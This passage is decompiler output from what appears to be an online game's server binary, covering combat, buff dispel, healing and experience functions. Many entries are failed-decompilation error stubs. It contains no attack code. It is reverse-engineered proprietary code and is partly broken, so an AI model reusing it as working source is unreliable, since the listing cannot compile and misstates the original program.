"ShineObjectClass::ShinePlayer::sp_NC_BAT_UNTARGET_REQ"); } //----- (0041D540) -------------------------------------------------------- #error "41D540: undefined or illegal type '#325' (funcsize=81)" //----- (0041D690) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_BAT_ABSTATE_ERASE_REQ(int this, int netcmd, int len, __int16 handle) { void *v4; // ebp@1 int v5; // esi@4 int v6; // ebx@6 AbnormalStateDictionary::AbState::AbStateStr *v7; // eax@9 signed __int16 v8; // ax@11 char *v9; // ecx@13 int v10; // eax@15 v4 = (void *)this; if ( !(_S10_2 & 1) ) { _S10_2 |= 1u; cmc_1.cmc_AllowMode = 126; atexit(_E11_2); } if ( (1 << **(_BYTE **)(this + 3716)) & cmc_1.cmc_AllowMode ) { v5 = *(_WORD *)(netcmd + 2); if ( v5 >= 412 ) { AssertClass::ac_AssertFail( &shineassert, "AbnormalStateDictionary::AbState::as_FromIndex : Invalid skill idx", *(_WORD *)(netcmd + 2)); LABEL_7: AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_BAT_ABSTATE_ERASE_REQ : Not Find Abstate Index :", v5); return; } v6 = dword_615280[v5]; if ( !v6 ) goto LABEL_7; if ( !strncmp( (const char *)(*(_DWORD *)v6 + 253), (const char *)&stru_5A4E3C.maa_TargetSelect.targetlist.mam_Array[9].mts_LastHit, 2) ) goto LABEL_18; v7 = AbnormalStateDictionary::AbState::as_FromName(&dic_abstate, (char *)(*(_DWORD *)v6 + 253)); if ( !v7 ) { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_BAT_ABSTATE_ERASE_REQ : Not Find MainAbstate Index :", (const char *)(*(_DWORD *)v6 + 253)); return; } v8 = ShineObjectClass::ShinePlayer::EraseGoodBuff(v4, v7->index->AbStataIndex, 7282); if ( v8 == 7280 ) LABEL_18: v8 = ShineObjectClass::ShinePlayer::EraseGoodBuff(v4, *(_DWORD *)(*(_DWORD *)v6 + 34), 7281); v9 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 9301; *((_WORD *)v9 + 1) = v8; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 4) ) { v10 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 764))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v10 + 12))(v10, v4, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_BAT_ABSTATE_ERASE_REQ : Packet Too Long", 4); } } } //----- (0041D800) -------------------------------------------------------- #error "41D800: undefined or illegal type '#325' (funcsize=71)" //----- (0041D910) -------------------------------------------------------- #error "41D910: undefined or illegal type '#325' (funcsize=155)" //----- (0041DB20) -------------------------------------------------------- #error "41DB20: undefined or illegal type '#325' (funcsize=166)" //----- (0041DD70) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMobileObject::so_Dispel(#325 *this, SmashArgument *a2, BattleObjectGroup::BattleObjectStruct *rst, unsigned int battleobject) { SmashArgument *v4; // ebp@1 int v5; // esi@5 int v6; // eax@5 int v8; // eax@7 int v9; // ecx@7 unsigned __int16 v10; // si@7 unsigned __int16 v11; // bx@7 int v12; // eax@8 int v13; // eax@9 int v14; // esi@10 unsigned int v15; // eax@11 char *v16; // eax@11 int v17; // ecx@11 signed int v18; // eax@12 int v19; // edi@13 int v20; // eax@16 AbnormalStateContainer::AbnormalStateElement *v21; // eax@26 int v22; // eax@28 int v23; // ST18_4@31 int v24; // ST10_4@31 int v25; // eax@31 int v26; // eax@32 char v27; // bl@34 char *v28; // [sp-14h] [bp-34h]@5 void *v29; // [sp+0h] [bp-20h]@1 unsigned int selector; // [sp+8h] [bp-18h]@7 int selector_8; // [sp+10h] [bp-10h]@0 char v32; // [sp+24h] [bp+4h]@7 int attrbit; // [sp+30h] [bp+10h]@0 v29 = (void *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_Dispel"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::so_Dispel"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = a2; if ( !a2 || (unsigned __int8)(*(int (__thiscall **)(SmashArgument *))(*(_DWORD *)&a2->actionnumber + 1136))(a2) == 3 ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_Dispel"); return 0; } if ( *(_BYTE *)((*(int (__thiscall **)(SmashArgument *))(*(_DWORD *)&a2->actionnumber + 2344))(a2) + 88) & 1 && attrbit & 2 ) { v5 = *(_DWORD *)&a2->actionnumber; v6 = (*(int (__thiscall **)(SmashArgument *, signed int, signed int))(*(_DWORD *)&a2->actionnumber + 1236))( a2, 1000, 1); (*(void (__thiscall **)(SmashArgument *, SmashArgument *, int))(v5 + 1436))(a2, a2, v6); --funcallanalizer.fca_stackpoint; v28 = "ShineObjectClass::ShineMobileObject::so_Dispel"; LABEL_6: FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v28); return 1; } selector = 1; v8 = (*(int (__thiscall **)(SmashArgument *))(*(_DWORD *)&a2->actionnumber + 1304))(a2); v9 = *(_DWORD *)(v8 + 3488); v10 = *(_WORD *)(v9 + 12 * *(_WORD *)(v8 + 3494) + 4); v11 = *(_WORD *)(v9 + 12 * *(_WORD *)(v9 + 12 * *(_WORD *)(v8 + 3494) + 4) + 4); v32 = 0; while ( 1 ) { v12 = (*(int (__thiscall **)(SmashArgument *))(*(_DWORD *)&v4->actionnumber + 1304))(v4); if ( v10 >= *(_WORD *)(v12 + 3484) || (v13 = *(_DWORD *)(v12 + 3488) + 12 * v10, !*(_BYTE *)(v13 + 8)) || (v14 = *(_DWORD *)v13) == 0 ) { LABEL_35: v27 = v32; goto LABEL_36; } v15 = rndbox.rb_box[4].rs_point.mask & (rndbox.rb_box[4].rs_point.value + 1); rndbox.rb_box[4].rs_point.value = v15; v16 = (char *)&rndbox.rb_thausend[rndbox.rb_box[4].rs_slot[v15]]; v17 = *((_DWORD *)v16 + 8193) & (*((_DWORD *)v16 + 8192) + 1); *((_DWORD *)v16 + 8192) = v17; if ( *(_WORD *)&v16[2 * v17] <= 0x3E8u ) { v18 = *(_DWORD *)(v14 + 4); if ( v18 < 412 ) { v19 = dword_615280[v18]; } else { AssertClass::ac_AssertFail( &shineassert, "AbnormalStateDictionary::AbState::as_FromIndex : Invalid skill idx", *(_DWORD *)(v14 + 4)); v19 = 0; } if ( (1 << *(_DWORD *)(*(_DWORD *)v19 + 244)) & attrbit ) { v20 = rst->bos_Damage; if ( *(_BYTE *)(v20 + 136) == 1 ) { *(_DWORD *)(v14 + 24) = clockwatch.cw_CurrTick; --funcallanalizer.fca_stackpoint; v28 = "ShineObjectClass::ShineMobileObject::so_Dispel"; goto LABEL_6; } if ( *(_BYTE *)(v20 + 128) == 1 ) { *(_DWORD *)(v14 + 24) = clockwatch.cw_CurrTick; v32 = 1; goto LABEL_28; } if ( *(_BYTE *)(v20 + 144) == 1 ) { if ( selector == 1 || !RandomBox::operator__(&rndbox, selector) ) selector_8 = v14; ++selector; } if ( *(_BYTE *)(rst->bos_Damage + 232) == 1 ) { if ( !AbnormalStateContainer::AbstateElementInObject::aeo_GetAbstateElement((AbnormalStateContainer::AbstateElementInObject *)v14) || (v21 = AbnormalStateContainer::AbstateElementInObject::aeo_GetAbstateElement((AbnormalStateContainer::AbstateElementInObject *)v14), !v21->vfptr->ase_IsAbstateIconHide(v21)) ) { if ( (signed int)RandomBox::rb_1000(&rndbox) < *(_DWORD *)(rst->bos_Damage + 236) ) break; } } } } LABEL_28: v22 = (*(int (__thiscall **)(SmashArgument *))(*(_DWORD *)&v4->actionnumber + 1304))(v4); if ( v11 >= *(_WORD *)(v22 + 3484) ) goto LABEL_35; v10 = v11; v11 = *(_WORD *)(*(_DWORD *)(v22 + 3488) + 12 * v11 + 4); } v23 = *(_DWORD *)(v14 + 76); v24 = *(_DWORD *)(v14 + 20); v25 = *(_BYTE *)(v14 + 16); *(_DWORD *)(v14 + 24) = clockwatch.cw_CurrTick; if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v29 + 1528))(v29) ) { ShineObjectClass::ShineObject::so_AbnormalState_BitSet(v29, *(_DWORD *)(*(_DWORD *)v19 + 34)); v26 = *(_DWORD *)(v19 + 36 * *(_BYTE *)(v14 + 16) + 8); if ( v26 ) { (*(void (__thiscall **)(void *, _DWORD, _DWORD, signed int))(*(_DWORD *)v29 + 992))( v29, *(_DWORD *)(*(_DWORD *)v19 + 34), *(_DWORD *)(v26 + 43), 1); ShineObjectClass::ShineObject::so_AbnormalState_BroadcastSet( v29, *(_DWORD *)(*(_DWORD *)v19 + 34), *(_DWORD *)(*(_DWORD *)(v19 + 36 * *(_BYTE *)(v14 + 16) + 8) + 43), *(_BYTE *)(v14 + 16)); } } v27 = 1; LABEL_36: if ( (signed int)selector > 1 ) { *(_BYTE *)selector_8 |= 2u; *(_DWORD *)(selector_8 + 24) = clockwatch.cw_CurrTick; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_Dispel"); return v27; } //----- (0041E160) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMobileObject::so_SkillCure(#325 *this, SmashArgument *a2, BattleObjectGroup::BattleObjectStruct *step) { SmashArgument *v3; // edi@1 int v4; // eax@3 int v5; // eax@4 int v6; // ecx@4 unsigned __int16 v7; // si@4 unsigned __int16 v8; // bp@4 char v9; // bl@4 int v10; // eax@5 int v11; // eax@6 int v12; // esi@7 unsigned int v13; // eax@8 char *v14; // eax@8 int v15; // ecx@8 signed int v16; // eax@9 int v17; // eax@10 int v18; // eax@12 int v19; // ecx@12 int v20; // eax@15 char result; // al@18 signed int v22; // [sp+14h] [bp+4h]@4 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_SkillCure"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::so_SkillCure"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = a2; if ( a2 && (unsigned __int8)(*(int (__thiscall **)(SmashArgument *))(*(_DWORD *)&a2->actionnumber + 1136))(a2) != 3 && (v4 = step->bos_Damage, *(_BYTE *)(v4 + 80)) ) { v22 = *(_DWORD *)(v4 + 84); v5 = (*(int (__thiscall **)(SmashArgument *))(*(_DWORD *)&v3->actionnumber + 1304))(v3); v6 = *(_DWORD *)(v5 + 3488); v7 = *(_WORD *)(v6 + 12 * *(_WORD *)(v5 + 3494) + 4); v8 = *(_WORD *)(v6 + 12 * *(_WORD *)(v6 + 12 * *(_WORD *)(v5 + 3494) + 4) + 4); v9 = 0; while ( 1 ) { v10 = (*(int (__thiscall **)(SmashArgument *))(*(_DWORD *)&v3->actionnumber + 1304))(v3); if ( v7 >= *(_WORD *)(v10 + 3484) ) break; v11 = *(_DWORD *)(v10 + 3488) + 12 * v7; if ( !*(_BYTE *)(v11 + 8) ) break; v12 = *(_DWORD *)v11; if ( !*(_DWORD *)v11 ) break; v13 = rndbox.rb_box[4].rs_point.mask & (rndbox.rb_box[4].rs_point.value + 1); rndbox.rb_box[4].rs_point.value = v13; v14 = (char *)&rndbox.rb_thausend[rndbox.rb_box[4].rs_slot[v13]]; v15 = *((_DWORD *)v14 + 8193) & (*((_DWORD *)v14 + 8192) + 1); *((_DWORD *)v14 + 8192) = v15; if ( *(_WORD *)&v14[2 * v15] <= 0x3E8u ) { v16 = *(_DWORD *)(v12 + 4); if ( v16 < 412 ) { v17 = dword_615280[v16]; } else { AssertClass::ac_AssertFail( &shineassert, "AbnormalStateDictionary::AbState::as_FromIndex : Invalid skill idx", *(_DWORD *)(v12 + 4)); v17 = 0; } v18 = *(_DWORD *)v17; v19 = *(_DWORD *)(v18 + 244); if ( v19 == 3 || v19 == 4 ) { if ( *(_BYTE *)(v18 + 43) <= v22 ) { *(_BYTE *)v12 |= 1u; *(_DWORD *)(v12 + 24) = clockwatch.cw_CurrTick; v9 = 1; break; } } } v20 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)&v3->actionnumber + 1304))(v3); if ( v8 >= *(_WORD *)(v20 + 3484) ) break; v7 = v8; v8 = *(_WORD *)(*(_DWORD *)(v20 + 3488) + 12 * v8 + 4); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_SkillCure"); result = v9; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_SkillCure"); result = 0; } return result; } //----- (0041E380) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMobileObject::so_smash(void *this, int engarg) { void *v2; // ebp@1 int v3; // ebx@1 int v4; // eax@1 int v5; // ecx@1 char *v6; // esi@4 __int16 v7; // ax@4 int v8; // eax@4 int v9; // edx@4 int v10; // ST20_4@4 int v11; // ST0C_4@4 int v12; // eax@4 __int16 v13; // ax@5 int v14; // eax@7 int v16; // [sp+24h] [bp-2Ch]@0 int v17; // [sp+28h] [bp-28h]@0 AxialListPacketBroadcast alchat; // [sp+38h] [bp-18h]@4 int v19; // [sp+4Ch] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_smash"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::so_smash"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v19 = 0; AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineMobileObject::so_smash : Must be changed as Bash", 0); v3 = (*(int (__stdcall **)(int, int, int))(**((_DWORD **)v2 + 1841) + 28))(engarg, v16, v17); (*(void (__thiscall **)(void *))(*(_DWORD *)v2 + 1380))(v2); (*(void (**)(void))(**(_DWORD **)(engarg + 4) + 1380))(); v4 = (*(int (**)(void))(**(_DWORD **)(engarg + 4) + 1236))(); v5 = *(_DWORD *)(engarg + 4); if ( v3 < v4 ) { (*(void (__stdcall **)(void *, int))(*(_DWORD *)v5 + 1436))(v2, v3); *(_BYTE *)(engarg + 18) = 0; } else { (*(void (__stdcall **)(void *, int))(*(_DWORD *)v5 + 1432))(v2, v4); *(_BYTE *)(engarg + 18) = 1; } v6 = gpp.pp_Buffer; v7 = *(_WORD *)gpp.pp_Buffer & 0x3FF | 0x2400; *(_WORD *)gpp.pp_Buffer = v7; *(_WORD *)v6 = v7 ^ (v7 ^ ((*(_BYTE *)(engarg + 18) != 0) + 22)) & 0x3FF; *((_WORD *)v6 + 1) = *((_WORD *)v2 + 2); *((_WORD *)v6 + 2) = *(_WORD *)(*(_DWORD *)(engarg + 4) + 4); v6[6] = *(_BYTE *)(engarg + 14); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 7); v8 = *(_DWORD *)((char *)v2 + 78); v9 = *((_WORD *)v6 + 2); LOBYTE(v19) = 1; v10 = v9; v11 = v8; v12 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v2, v12, v11, 0, 0, (int)&alchat, 0, v10); if ( (unsigned __int8)(*(int (**)(void))(**(_DWORD **)(engarg + 4) + 1212))() == 2 ) { *(_WORD *)v6 = 9236; v6[6] = *(_BYTE *)(engarg + 15); v13 = *((_WORD *)v6 + 2) & 0xFFFE | *(_BYTE *)(engarg + 18) & 1; *((_WORD *)v6 + 2) = v13; *((_WORD *)v6 + 2) = 4 * v3 | (v13 & 1 | (unsigned __int8)(2 * (*(_BYTE *)(engarg + 16) & 1))) & 3; *((_WORD *)v6 + 1) = *((_WORD *)v2 + 2); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 7) ) { v14 = (*(int (**)(void))(**(_DWORD **)(engarg + 4) + 764))(); (*(void (__thiscall **)(int, _DWORD, ProtocolPacket *))(*(_DWORD *)v14 + 12))(v14, *(_DWORD *)(engarg + 4), &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineMobileObject::so_smash : Packet Too Long", 7); } } LOBYTE(v19) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); --funcallanalizer.fca_stackpoint; v19 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_smash"); return v3; } //----- (0041E5C0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_smash(void *this, int engarg) { void *v2; // edi@1 int v3; // eax@1 char *v4; // ecx@1 int v5; // ebp@1 __int16 v6; // ax@1 int v7; // esi@2 __int16 v8; // ax@3 int v9; // eax@6 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_smash"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_smash"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = ShineObjectClass::ShineMobileObject::so_smash(v2, engarg); v4 = gpp.pp_Buffer; v5 = v3; v6 = *(_WORD *)gpp.pp_Buffer & 0x3FF | 0x2400; *(_WORD *)gpp.pp_Buffer = v6; if ( *(_BYTE *)(engarg + 17) ) { *(_WORD *)v4 = v6 & 0xFC15 | 0x15; *((_WORD *)v4 + 1) = *(_WORD *)(*(_DWORD *)(engarg + 4) + 4); v4[4] = *(_BYTE *)(engarg + 15); v7 = 5; } else { *(_WORD *)v4 = v6 & 0xFC13 | 0x13; *((_WORD *)v4 + 1) = *(_WORD *)(*(_DWORD *)(engarg + 4) + 4); v4[6] = *(_BYTE *)(engarg + 15); v8 = *((_WORD *)v4 + 2) & 0xFFFE | *(_BYTE *)(engarg + 18) & 1; *((_WORD *)v4 + 2) = v8; v7 = 7; *((_WORD *)v4 + 2) = 4 * v5 | (v8 & 1 | (unsigned __int8)(2 * (*(_BYTE *)(engarg + 16) & 1))) & 3; } if ( ProtocolPacket::pp_SetPacketLen(&gpp, v7) ) { v9 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 764))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v9 + 12))(v9, v2, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_smash : Packet Too Long", v7); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_smash"); return v5; } //----- (0041E740) -------------------------------------------------------- #error "41E740: undefined or illegal type '#325' (funcsize=54)" //----- (0041E810) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMobileObject::so_attack(#325 *this, int a2, int damage) { void *v3; // edi@1 int v4; // ebp@1 signed __int16 v5; // dx@3 signed __int16 v6; // bp@3 char *v7; // eax@5 __int16 v8; // cx@5 signed int v9; // eax@6 int v10; // ST04_4@8 int v11; // eax@8 int result; // eax@8 AxialListPacketBroadcast alchat; // [sp+2Ch] [bp-18h]@8 int v14; // [sp+40h] [bp-4h]@1 char actionnumber; // [sp+50h] [bp+Ch]@0 int v16; // [sp+54h] [bp+10h]@0 v3 = (void *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_attack"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::so_attack"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v14 = 0; AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineMobileObject::so_attack called", 0); v4 = (*(int (__thiscall **)(int))(*(_DWORD *)a2 + 1236))(a2); if ( (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)a2 + 1136))(a2) == 3 ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_attack"); result = 0; } else { (*(void (__thiscall **)(void *))(*(_DWORD *)v3 + 1380))(v3); (*(void (__thiscall **)(int))(*(_DWORD *)a2 + 1380))(a2); if ( v16 < v4 ) { (*(void (__thiscall **)(int, void *, int))(*(_DWORD *)a2 + 1436))(a2, v3, v16); v5 = 5; v6 = 4; } else { (*(void (__thiscall **)(int, void *, int))(*(_DWORD *)a2 + 1432))(a2, v3, v4); v5 = 7; v6 = 6; } v7 = gpp.pp_Buffer; v8 = *(_WORD *)gpp.pp_Buffer & 0x3FF | 0x2400; *(_WORD *)gpp.pp_Buffer = v8; if ( v16 < 256 ) { *(_WORD *)v7 = v8 ^ (v6 ^ v8) & 0x3FF; *((_WORD *)v7 + 1) = *((_WORD *)v3 + 2); *((_WORD *)v7 + 2) = *(_WORD *)(a2 + 4); v7[6] = v16; v7[7] = actionnumber; v9 = 6; } else { *(_WORD *)v7 = v8 ^ (v5 ^ v8) & 0x3FF; *((_WORD *)v7 + 1) = *((_WORD *)v3 + 2); *((_WORD *)v7 + 2) = *(_WORD *)(a2 + 4); *((_WORD *)v7 + 3) = v16; v7[8] = actionnumber; v9 = 7; } AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, v9 + 2); v10 = *(_DWORD *)((char *)v3 + 78); LOBYTE(v14) = 1; v11 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v3, v11, v10, 0, 0, (int)&alchat, 1, 65535); LOBYTE(v14) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); --funcallanalizer.fca_stackpoint; v14 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_attack"); result = v16; } return result; } //----- (0041EA20) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_attack(#325 *this, int a2) { #325 *v2; // esi@1 int v3; // eax@1 int v4; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShineObjectClass::ShineMob::so_attack"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::so_attack"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = ShineObjectClass::ShineMobileObject::so_attack(v2, a2); --funcallanalizer.fca_stackpoint; v4 = v3; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineMob::so_attack"); return v4; } //----- (0041EAD0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::so_recoverhp(void *this, int hp) { void *v2; // esi@1 int v3; // eax@1 int v4; // ecx@1 unsigned int v5; // eax@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShineObjectClass::ShineMob::so_recoverhp"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::so_recoverhp"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = hp + *((_DWORD *)v2 + 1854); v4 = v3; *((_DWORD *)v2 + 1854) = v3; v5 = *((_DWORD *)v2 + 932); if ( v4 >= v5 ) *((_DWORD *)v2 + 1854) = v5; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineMob::so_recoverhp"); } //----- (0041EB50) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::so_recoversp(void *this, int a2) { void *v2; // esi@1 int v3; // eax@1 int v4; // ecx@1 unsigned int v5; // eax@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShineObjectClass::ShineMob::so_recoversp"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::so_recoversp"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = a2 + *((_DWORD *)v2 + 1855); v4 = v3; *((_DWORD *)v2 + 1855) = v3; v5 = *((_DWORD *)v2 + 933); if ( v4 >= v5 ) *((_DWORD *)v2 + 1855) = v5; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineMob::so_recoversp"); } //----- (0041EBD0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_recoverhp(void *this, int hp) { void *v2; // esi@1 int v3; // eax@1 int v4; // ecx@1 unsigned int v5; // eax@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_recoverhp"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_recoverhp"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ShineObjectClass::ShinePlayer::sp_HPChangeCheck(v2, hp, 1, (int)"ShineObjectClass::ShinePlayer::so_recoverhp"); v3 = hp + *(_DWORD *)((char *)v2 + 32059); v4 = v3; *(_DWORD *)((char *)v2 + 32059) = v3; v5 = *((_DWORD *)v2 + 932); if ( v4 >= v5 ) *(_DWORD *)((char *)v2 + 32059) = v5; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_recoverhp"); } //----- (0041ECA0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_recoversp(void *this, int a2) { void *v2; // esi@1 int v3; // eax@1 int v4; // ecx@1 unsigned int v5; // eax@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_recoversp"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_recoversp"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = a2 + *(_DWORD *)((char *)v2 + 32063); v4 = v3; *(_DWORD *)((char *)v2 + 32063) = v3; v5 = *((_DWORD *)v2 + 933); if ( v4 >= v5 ) *(_DWORD *)((char *)v2 + 32063) = v5; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_recoversp"); } //----- (0041ED20) -------------------------------------------------------- #error "41ED20: undefined or illegal type '#325' (funcsize=20)" //----- (0041ED60) -------------------------------------------------------- #error "41ED60: undefined or illegal type '#325' (funcsize=90)" //----- (0041EEB0) -------------------------------------------------------- #error "41EEB0: undefined or illegal type '#325' (funcsize=126)" //----- (0041F070) -------------------------------------------------------- #error "41F070: undefined or illegal type '#325' (funcsize=72)" //----- (0041F170) -------------------------------------------------------- #error "41F170: undefined or illegal type '#325' (funcsize=120)" //----- (0041F300) -------------------------------------------------------- #error "41F300: undefined or illegal type '#325' (funcsize=43)" //----- (0041F3C0) -------------------------------------------------------- unsigned int __thiscall ShineObjectClass::ShinePlayer::sp_NextSaveExperience(void *this) { void *v1; // esi@1 void *v2; // ST2C_4@1 int v3; // eax@1 unsigned int v4; // ebx@1 unsigned int v5; // ebp@1 __int64 v6; // qdi@1 unsigned __int64 v7; // kr08_8@1 unsigned int result; // eax@2 v1 = this; v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NextSaveExperience"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NextSaveExperience"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *((_BYTE *)v1 + 32042); v4 = *(unsigned int *)((char *)&shineparam.scp_param.AddBuffTime + v3 * 8); v5 = *(unsigned int *)((char *)&shineparam.scp_param.MaxBuffTime + v3 * 8); LODWORD(v6) = (__PAIR__(HIDWORD(shineparam.scp_param.nextexp[v3]), LODWORD(shineparam.scp_param.nextexp[v3])) - __PAIR__(v5, v4)) >> 32; HIDWORD(v6) = LODWORD(shineparam.scp_param.nextexp[v3]) - v4; v7 = *(_QWORD *)((char *)v2 + 32043) - __PAIR__(v5, v4); if ( v6 ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NextSaveExperience"); result = v4 + ((16 * v7 / __PAIR__(v6, HIDWORD(v6)) + 1) * __PAIR__(v6, HIDWORD(v6)) >> 4); } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NextSaveExperience"); result = v4; } return result; } //----- (0041F500) -------------------------------------------------------- #error "41F500: undefined or illegal type '#325' (funcsize=439)" //----- (0041FB60) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_GainFame(void *this, int famegain) { void *v2; // esi@1 unsigned int v3; // eax@1 int v4; // ecx@2 int v5; // eax@2 char *v6; // eax@4 int v7; // eax@6 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_GainFame"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_GainFame"; 